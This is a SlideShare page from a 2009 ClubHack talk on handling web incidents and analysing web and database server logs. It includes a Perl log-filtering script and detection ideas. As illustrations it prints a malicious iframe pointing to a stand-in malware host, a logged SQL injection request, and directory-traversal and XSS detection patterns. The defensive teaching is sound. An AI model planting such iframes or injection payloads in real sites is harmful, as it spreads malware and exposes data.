Incident Handling & Log Analysis in a Web Driven World Manindra Kishore
Web Incidents - Overview <ul><li>A Glimpse of popular web based incidents </li></ul><ul><li>Discussion of a sample inciden...
A glimpse of few popular incidents <ul><li>SQL injection </li></ul><ul><li>XSS </li></ul><ul><li>CSRF </li></ul><ul><li>Br...
A few Attack Objectives <ul><li>Force connection to malware infected remote site </li></ul><ul><li>Trick user into connect...
A sample incident: Malware Download / Visit Phishing sites <ul><li>SQL Injection to change values in the backend DB </li><...
Web site distributes malware http://bank.com/homepage.jsp Exploits and Adds iframe Tag  <iframe src =“http://malware.com/m...
Incident occurred !!! What to do now?
A sample victimized 2 tier network <ul><li>The web server on intranet got hacked. </li></ul><ul><li>I don’t know what else...
Acting ahead… <ul><li>Enumerate all entry points of network </li></ul><ul><li>Identify the components associated with vict...
Candidates for Log Analysis (in this case) <ul><li>Cisco Internet Router </li></ul><ul><li>Cisco PIX Internet Firewall: </...
Grounds for forensics:  Log Analysis
A re-look at the attacks traceable by logs <ul><li>A glimpse of major attacks for which forensics can be done by different...
Mapping Attack patterns to Logs OS Logs Physical access to the server and copying data on removable media Network Device L...
Choosing the right Log for analysis <ul><li>Different device logs help in forensics of different attack patterns </li></ul...
Individual Analysis of elements <ul><li>The components under discussion </li></ul><ul><li>Web Servers   </li></ul><ul><ul>...
Web Server – Log Analysis – Step 1 <ul><li>Web Server Logs are huge </li></ul><ul><li>Filter the relevant logs for analysi...
<ul><li>Example – </li></ul><ul><li>In a banking website we see a request for 3Dgames.php in the Apache log – its obviousl...
A sample Perl Script <ul><li>A sample script for finding out valid PHP pages - Can be modified for other types as well. </...
Web Server – Log Analysis – Step 2 <ul><li>Identifying Valid Variables – In Remaining requests </li></ul><ul><ul><li>List ...
<ul><li>A sample Perl Script output </li></ul><ul><li>204.9.126.178 - -  </li></ul><ul><li>[05/Aug/2009:11:31:54 -0500]  <...
Web Server – Log Analysis – Step 3 <ul><li>Identify specific attack patterns - using a Log Parsing tool </li></ul><ul><li>...
The Demos <ul><li>SQL Injection </li></ul><ul><li>Cross Site Scripting (XSS) – Persistent  </li></ul><ul><li>Directory Tra...
DB Server – Log Analysis <ul><li>Attacks that can be detected by looking at the logs of a DB Server </li></ul><ul><ul><li>...
Log Analysis – MySQL DB Server <ul><li>SQL Injection </li></ul><ul><ul><li>Obtain the Query Logs. They are generally avail...
Sample Grep Queries <ul><li>Sample Grep queries to perform the action: </li></ul>
<ul><li>Cross Site Scripting (XSS) : Persistent  </li></ul><ul><ul><li>Parse the database for any instance of XSS. This ca...
<ul><li>Exact elements for monitoring </li></ul><ul><ul><li>Search for all these elements as follows:   </li></ul></ul>hre...
More Attack Patterns <ul><li>Brute Forcing the DB Server </li></ul><ul><ul><li>Go through the Error Logs in order to see i...
What do we achieve…? <ul><li>Advantages of doing Log Analysis this way </li></ul><ul><li>What have we not covered here and...
Thank You. Manindra Kishore Information Security Analyst / Consultant [email_address] Questions welcomed…
Upcoming SlideShare
Loading in …5
×

Manindra kishore _incident_handling_n_log_analysis - ClubHack2009

2,687
-1

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
2,687
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
24
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • Attacker compromised the site and injected an &lt;iframe tag&gt; in the home page. The iframe tag pointed to an external website that was hosting malware. When a user visited the bank&apos;s site, the home page downloaded the malware in the background and infected the browser. The malware would steal passwords the user types in and will mail the attacker.
  • Manindra kishore _incident_handling_n_log_analysis - ClubHack2009

    1. 1. Incident Handling & Log Analysis in a Web Driven World Manindra Kishore
    2. 2. Web Incidents - Overview <ul><li>A Glimpse of popular web based incidents </li></ul><ul><li>Discussion of a sample incident </li></ul><ul><li>Approach to Incident Analysis </li></ul>
    3. 3. A glimpse of few popular incidents <ul><li>SQL injection </li></ul><ul><li>XSS </li></ul><ul><li>CSRF </li></ul><ul><li>Broken authentication </li></ul><ul><li>Broken authorization </li></ul><ul><li>File inclusion </li></ul><ul><li>Password brute force </li></ul><ul><li>Directory traversal </li></ul><ul><li>Malicious file upload </li></ul><ul><li>Network enumeration </li></ul><ul><li>…………… . </li></ul>
    4. 4. A few Attack Objectives <ul><li>Force connection to malware infected remote site </li></ul><ul><li>Trick user into connecting to phishing site </li></ul><ul><li>Steal data from backend database </li></ul><ul><li>Obtain sensitive information from other internal machines </li></ul><ul><li>A common attack vector --- SQL Injection </li></ul>
    5. 5. A sample incident: Malware Download / Visit Phishing sites <ul><li>SQL Injection to change values in the backend DB </li></ul><ul><li>Values changed to known malware distributing sites </li></ul><ul><li>Each time page loads - Malware downloaded </li></ul><ul><li>Multiple systems under attacker control </li></ul>
    6. 6. Web site distributes malware http://bank.com/homepage.jsp Exploits and Adds iframe Tag <iframe src =“http://malware.com/malware&quot;> </iframe> in page http://bank.com/homepage.jsp Infected page Access request http://bank.com/homepage.jsp Infected page served to user Accesses http:// bank.com/homepage.jsp and finds out vulnerabilities Home Page gets infected Connection made to external site and malware gets downloaded in background User <html> <body> . . . . <iframe src =“http://malware.com/malware&quot;> </iframe> . . </body> </html> UserID & Pswd
    7. 7. Incident occurred !!! What to do now?
    8. 8. A sample victimized 2 tier network <ul><li>The web server on intranet got hacked. </li></ul><ul><li>I don’t know what else got hacked. </li></ul><ul><li>I want Incident Analysis. </li></ul>
    9. 9. Acting ahead… <ul><li>Enumerate all entry points of network </li></ul><ul><li>Identify the components associated with victimized component in network traffic </li></ul><ul><li>Obtain logs of all associated components </li></ul><ul><li>Perform Log Analysis </li></ul><ul><li>This presentation focuses primarily on the attacks over the internet. </li></ul><ul><li>Analysis of Intranet based attacks involve more or less the same steps not on the key focus here. </li></ul>
    10. 10. Candidates for Log Analysis (in this case) <ul><li>Cisco Internet Router </li></ul><ul><li>Cisco PIX Internet Firewall: </li></ul><ul><li>Juniper Intranet Firewall </li></ul><ul><li>Cisco L3 switch connecting all other servers </li></ul><ul><li>IIS 6.0 Web Server </li></ul><ul><li>Tomcat Application Server </li></ul><ul><li>Microsoft SQL Server Database </li></ul>
    11. 11. Grounds for forensics: Log Analysis
    12. 12. A re-look at the attacks traceable by logs <ul><li>A glimpse of major attacks for which forensics can be done by different sets of logs: </li></ul><ul><li>SQL Injection </li></ul><ul><li>XSS </li></ul><ul><li>SSI Injection </li></ul><ul><li>Directory Traversal Attack </li></ul><ul><li>PHP Remote File Inclusion Attack </li></ul><ul><li>Upload Malicious Files </li></ul><ul><li>Re-direction Attack </li></ul><ul><li>Unwanted Apps/Directories open to Internet </li></ul><ul><li>Misusing link for activation/authentication </li></ul><ul><li>Brute Forcing </li></ul><ul><li>Enumerating Data based on error messages/app features </li></ul><ul><li>Session Hijack </li></ul><ul><li>Deep URL </li></ul><ul><li>Change Password </li></ul><ul><li>Automated Attacks </li></ul><ul><li>Response Splitting Attack </li></ul><ul><li>Arbitrary HTTP methods allowed </li></ul>
    13. 13. Mapping Attack patterns to Logs OS Logs Physical access to the server and copying data on removable media Network Device Logs (Firewall + Switch) Compromise of another server and gain access to this server through a vulnerability there or by trust abuse of that server Web Logs/OS Logs/Database Logs File upload of malicious file Individual Network Service Logs Identification of all other network services and check if any other way in Application Logs/Database Logs Vulnerability inside the application which allows DB backup/restore Web Logs/OS Logs/Database Logs Upload an executable which will take a backup of the database and dump it out OS Logs Brute forcing SAM file , RDP in and stealing database Web Logs Files available on the website found through directory browsing Database Logs/OS Logs Direct connection to the Database and retrieve data FTP Logs Anonymous FTP / brute force passwords and steal backup stored Web Logs/Database Logs PHP Code Injection to retrieve database password Web Logs/Source Code PHP Local and Remote File inclusion to obtain source code and passwords Web Logs/Database Logs/Database Backup Persistent XSS on website Web Logs/Database Logs SQL Injection in the application injecting Iframe into database Web Logs/Database Logs SQL Injection in the application retrieving data
    14. 14. Choosing the right Log for analysis <ul><li>Different device logs help in forensics of different attack patterns </li></ul><ul><li>Focusing on Internet based attacks, the major components for analysis are </li></ul><ul><ul><li>Web Server </li></ul></ul><ul><ul><li>Database Server </li></ul></ul>
    15. 15. Individual Analysis of elements <ul><li>The components under discussion </li></ul><ul><li>Web Servers </li></ul><ul><ul><li>IIS </li></ul></ul><ul><ul><li>Apache </li></ul></ul><ul><li>Database Servers </li></ul><ul><ul><li>MySQL </li></ul></ul><ul><ul><li>MSSQL </li></ul></ul>
    16. 16. Web Server – Log Analysis – Step 1 <ul><li>Web Server Logs are huge </li></ul><ul><li>Filter the relevant logs for analysis – Script based approach </li></ul><ul><ul><li>Eliminate all requests for non-existing files on webserver </li></ul></ul><ul><ul><ul><li>Obtain the list of all valid files from webpage source code </li></ul></ul></ul><ul><ul><ul><li>Obtain all requests from the webserver with 200_OK response </li></ul></ul></ul><ul><ul><ul><li>Do the matching, filter only relevant requests, eliminate the rest. </li></ul></ul></ul>
    17. 17. <ul><li>Example – </li></ul><ul><li>In a banking website we see a request for 3Dgames.php in the Apache log – its obviously not valid. </li></ul><ul><li>This can be confirmed by looking inside the source code directory and checking if there indeed was a file called 3Dgames.php. </li></ul><ul><li>If not then we don't need to waste time analyzing those requests. </li></ul><ul><li>A little bit of Basic Perl can help here. </li></ul>
    18. 18. A sample Perl Script <ul><li>A sample script for finding out valid PHP pages - Can be modified for other types as well. </li></ul><ul><li>SCRIPT </li></ul><ul><li>#!/usr/bin/perl </li></ul><ul><li>open(PAGE , &quot;<page_list&quot;) or die &quot;Cannot open file:$!&quot;; </li></ul><ul><li>@all_pages = <PAGE>; </li></ul><ul><li>close(PAGE); </li></ul><ul><li>open(ALLPHP , &quot;<gateway_only200_OK&quot;) or die &quot;Cannot open file:$!&quot;; </li></ul><ul><li>@all_php_requests = <ALLPHP>; </li></ul><ul><li>close(ALLPHP); </li></ul><ul><li>open(VALIDPHP , &quot;>all_valid_php&quot;) or die &quot;Cannot open file:$!&quot;; </li></ul><ul><li>for ($j=0; $j<=$#all_pages; $j++){ </li></ul><ul><li>chomp($all_pages[$j]); </li></ul><ul><li>@ddd = grep(/$all_pages[$j]/ , @all_php_requests); </li></ul><ul><li>print VALIDPHP @ddd; </li></ul><ul><li>} </li></ul><ul><li>close(VALIDPHP); </li></ul>
    19. 19. Web Server – Log Analysis – Step 2 <ul><li>Identifying Valid Variables – In Remaining requests </li></ul><ul><ul><li>List all the valid variables from page source code – Script based approach </li></ul></ul><ul><ul><li>Compare all the requests for presence of all valid variables </li></ul></ul><ul><ul><li>If any invalid variable found in a request, eliminate the request </li></ul></ul><ul><ul><li>Eventually, filter out all requests with all valid variables </li></ul></ul>
    20. 20. <ul><li>A sample Perl Script output </li></ul><ul><li>204.9.126.178 - - </li></ul><ul><li>[05/Aug/2009:11:31:54 -0500] </li></ul><ul><li>&quot;GET /category.php?q=%27+UNION+SELECT+TABLE_CATALOG%2C+TABLE_SCHEMA%2C+&catid=search&searchgo.x=17&searchgo.y=12 HTTP/1.1&quot; </li></ul><ul><li>-------------------- </li></ul><ul><li>The variables here are - q, catid, searchgo.x and searchgo.y </li></ul><ul><li>The requested page is - category.php </li></ul><ul><li>Now look at the list of valid variable from source code of page – category.php (script based approach) </li></ul><ul><li>Figure out if the variables in request figure out here </li></ul><ul><li>If not, then its not a valid request and can be eliminated </li></ul><ul><li>Repeat the process for all requests (Script based approach as a whole) </li></ul><ul><li>Eventually, filter out all request with valid variables </li></ul>
    21. 21. Web Server – Log Analysis – Step 3 <ul><li>Identify specific attack patterns - using a Log Parsing tool </li></ul><ul><li>Example: </li></ul><ul><ul><li>While trying to detect a directory traversal attack one needs to parse the logs for the ‘../../’ pattern among others. </li></ul></ul><ul><li>Sample queries to carry out parsing process: </li></ul>
    22. 22. The Demos <ul><li>SQL Injection </li></ul><ul><li>Cross Site Scripting (XSS) – Persistent </li></ul><ul><li>Directory Traversal </li></ul><ul><li>PHP remote file inclusion </li></ul><ul><li>URL Redirection </li></ul><ul><li>Automated / Brute Force attacks </li></ul><ul><ul><li>Password cracking </li></ul></ul><ul><ul><li>Automated registrations </li></ul></ul><ul><ul><li>Session prediction </li></ul></ul><ul><ul><li>Directory brute forcing </li></ul></ul>
    23. 23. DB Server – Log Analysis <ul><li>Attacks that can be detected by looking at the logs of a DB Server </li></ul><ul><ul><li>SQL Injection </li></ul></ul><ul><ul><li>XSS </li></ul></ul><ul><ul><li>Brute Forcing the DB Server </li></ul></ul>
    24. 24. Log Analysis – MySQL DB Server <ul><li>SQL Injection </li></ul><ul><ul><li>Obtain the Query Logs. They are generally available in ‘/mysql/data/’ </li></ul></ul><ul><ul><li>Do a Code Review of the application and list down all the SQL queries from all pages on the application. </li></ul></ul><ul><ul><li>Match all the Queries in the Query Log with those obtained from code review. All queries which match are valid queries. The rest are invalid queries. Store all these invalid queries in a separate file as these are most probably the queries that an attacker used for SQL Injection. </li></ul></ul>
    25. 25. Sample Grep Queries <ul><li>Sample Grep queries to perform the action: </li></ul>
    26. 26. <ul><li>Cross Site Scripting (XSS) : Persistent </li></ul><ul><ul><li>Parse the database for any instance of XSS. This can be done by pattern matching. </li></ul></ul><ul><ul><li>Note down all the XSS strings found in the DB </li></ul></ul><ul><ul><li>Check the DB Query Log for instances of the string noted down. This can be done using the grep command. </li></ul></ul>
    27. 27. <ul><li>Exact elements for monitoring </li></ul><ul><ul><li>Search for all these elements as follows: </li></ul></ul>href, coords <area> code, codebase, archive <applet> longdesc, src, usemap <img> src <script> archive, classid, codebase, data usemap <object> src, pluginspage, pluginurl, href <embed> src, url <iframe> href <a>
    28. 28. More Attack Patterns <ul><li>Brute Forcing the DB Server </li></ul><ul><ul><li>Go through the Error Logs in order to see if there are repeated failed attempts in limited time duration. </li></ul></ul>
    29. 29. What do we achieve…? <ul><li>Advantages of doing Log Analysis this way </li></ul><ul><li>What have we not covered here and hope to cover in the future? </li></ul>
    30. 30. Thank You. Manindra Kishore Information Security Analyst / Consultant [email_address] Questions welcomed…
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×